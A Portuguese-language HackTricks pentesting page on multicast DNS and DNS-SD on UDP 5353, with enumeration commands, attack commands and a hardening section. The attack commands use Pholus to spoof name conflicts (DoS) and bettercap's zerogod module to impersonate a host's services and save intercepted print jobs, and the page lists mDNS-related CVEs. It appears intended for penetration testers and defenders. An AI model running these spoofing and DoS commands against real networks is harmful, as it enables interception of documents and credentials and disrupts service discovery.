5353/UDP Multicast DNS (mDNS) e DNS-SD
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações básicas
Multicast DNS (mDNS) permite resolução de nomes semelhante ao DNS e descoberta de serviços dentro de um enlace local sem um servidor DNS unicast. Ele usa UDP/5353 e os endereços multicast 224.0.0.251 (IPv4) e FF02::FB (IPv6). Descoberta de Serviços DNS (DNS-SD, tipicamente usada com mDNS) fornece uma forma padronizada de enumerar e descrever serviços via registros PTR, SRV e TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Detalhes-chave do protocolo que você frequentemente aproveitará durante ataques:
- Nomes na zona .local são resolvidos via mDNS.
- O bit QU (Query Unicast) pode solicitar respostas unicast mesmo para perguntas multicast.
- Implementações deveriam ignorar pacotes não originados do link local; algumas pilhas ainda os aceitam.
- Sondagem/anúncio impõe nomes únicos de host/serviço; interferir aqui cria condições de DoS/“name squatting”.
Modelo de serviço DNS-SD
Os serviços são identificados como _
Exploração e Enumeração de Rede
- nmap target scan (mDNS direto em um host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast discovery (escute o segmento e enumere todos os tipos/instâncias DNS-SD):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Dica: Alguns browsers/WebRTC usam hostnames mDNS efêmeros para mascarar IPs locais. Se você vir candidatos random-UUID.local no tráfego, resolva-os com mDNS para pivotar para IPs locais.
Ataques
Interferência na sondagem de nomes mDNS (DoS / name squatting)
Durante a fase de sondagem, um host verifica a unicidade do nome. Responder com conflitos falsificados força-o a escolher novos nomes ou falhar. Isso pode atrasar ou impedir o registro e a descoberta de serviços.
Exemplo com Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Service spoofing and impersonation (MitM)
Impersonate advertised DNS-SD services (printers, AirPlay, HTTP, file shares) para forçar clientes a se conectarem a você. Isto é especialmente útil para:
- Capturar documentos by spoofing _ipp._tcp ou _printer._tcp.
- Atrair clientes para serviços HTTP/HTTPS para harvest tokens/cookies ou deliver payloads.
- Combinar com NTLM relay techniques quando clientes Windows negociam auth para serviços spoofed.
Com bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Veja também fluxos genéricos de spoofing LLMNR/NBNS/mDNS/WPAD e captura/relay de credenciais:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Notas sobre problemas recentes de implementação (úteis para DoS/persistência durante avaliações)
- Bugs de reachable-assertion e crash do D-Bus no Avahi (2023) podem terminar o avahi-daemon em distribuições Linux (p.ex. CVE-2023-38469..38473, CVE-2023-1981), interrompendo a descoberta de serviços nos hosts alvo até o reinício.
- DoS do mDNS gateway do Cisco IOS XE Wireless LAN Controller (CVE-2024-20303) permite que clientes WLAN adjacentes enviem mDNS forjado em massa, sobrecarregando a CPU do WLC e derrubando túneis AP — útil se precisar forçar roaming de clientes ou resets do controller durante uma avaliação.
- Um erro lógico do mDNSResponder da Apple causando DoS (CVE-2024-44183) permite que um processo local sandboxed faça o Bonjour travar para suprimir brevemente a publicação/consulta de serviços em endpoints Apple; corrigido nas versões atuais do iOS/macOS.
- Uma falha de correção do mDNSResponder da Apple (CVE-2025-31222) permitiu escalada de privilégio local via mDNSResponder; útil para persistência em Macs/iPhones não gerenciados, corrigido em atualizações recentes do iOS/macOS.
Considerações sobre mDNS em Browser/WebRTC
Navegadores modernos Chromium/Firefox ofuscam host candidates com nomes mDNS aleatórios. Você pode reexpor IPs da LAN em endpoints gerenciados aplicando a política do Chrome WebRtcLocalIpsAllowedUrls (ou alternando chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/equivalente do Edge) para que ICE exponha host candidates em vez de mDNS; configure via HKLM\Software\Policies\Google\Chrome.
Quando usuários desativam a proteção manualmente (comum em guias de troubleshooting do WebRTC), seus navegadores começam a anunciar novamente host candidates simples, que você pode capturar via mDNS ou sinalização ICE para acelerar a descoberta de hosts.
Considerações defensivas e OPSEC
- Limites de segmento: Não roteie 224.0.0.251/FF02::FB entre zonas de segurança a menos que um mDNS gateway seja explicitamente necessário. Se precisar interligar a descoberta, prefira allowlists e limites de taxa.
- Endpoints/servidores Windows:
- Para desativar completamente a resolução de nomes via mDNS defina o valor de registro e reinicie:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Em ambientes gerenciados, desative a regra integrada “mDNS (UDP-In)” do Windows Defender Firewall (pelo menos no perfil Domain) para evitar o processamento de mDNS de entrada enquanto preserva a funcionalidade home/roaming.
- Em builds mais recentes do Windows 11/templates de GPO, use a política “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” e defina-a como Disabled.
- Linux (Avahi):
- Restringir a publicação quando não for necessária: defina
disable-publishing=yes, e restrinja interfaces comallow-interfaces=/deny-interfaces=em/etc/avahi/avahi-daemon.conf. - Considere
check-response-ttl=yese eviteenable-reflector=yesa menos que seja estritamente necessário; prefirareflect-filters=allowlists ao refletir. - macOS: Restrinja mDNS de entrada em firewalls de host/rede quando a descoberta Bonjour não for necessária para sub-redes específicas.
- Monitoramento: Alerta para picos incomuns em consultas
_services._dns-sd._udp.localou mudanças súbitas em SRV/TXT de serviços críticos; estes são indicadores de spoofing ou personificação de serviços.
Referência rápida de ferramentas
- nmap NSE:
dns-service-discoveryandbroadcast-dns-service-discovery. - Pholus: varredura ativa, varreduras reversas mDNS, auxiliares para DoS e spoofing.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: descobrir, salvar, anunciar e personificar serviços mDNS/DNS-SD (veja exemplos acima).
Spoofing/MitM
O ataque mais interessante que você pode realizar via este serviço é efetuar um MitM na comunicação entre o cliente e o servidor real. Você pode ser capaz de obter arquivos sensíveis (realizando MitM na comunicação com uma impressora) ou até credenciais (autenticação Windows).
Para mais informações, consulte:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Referências
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


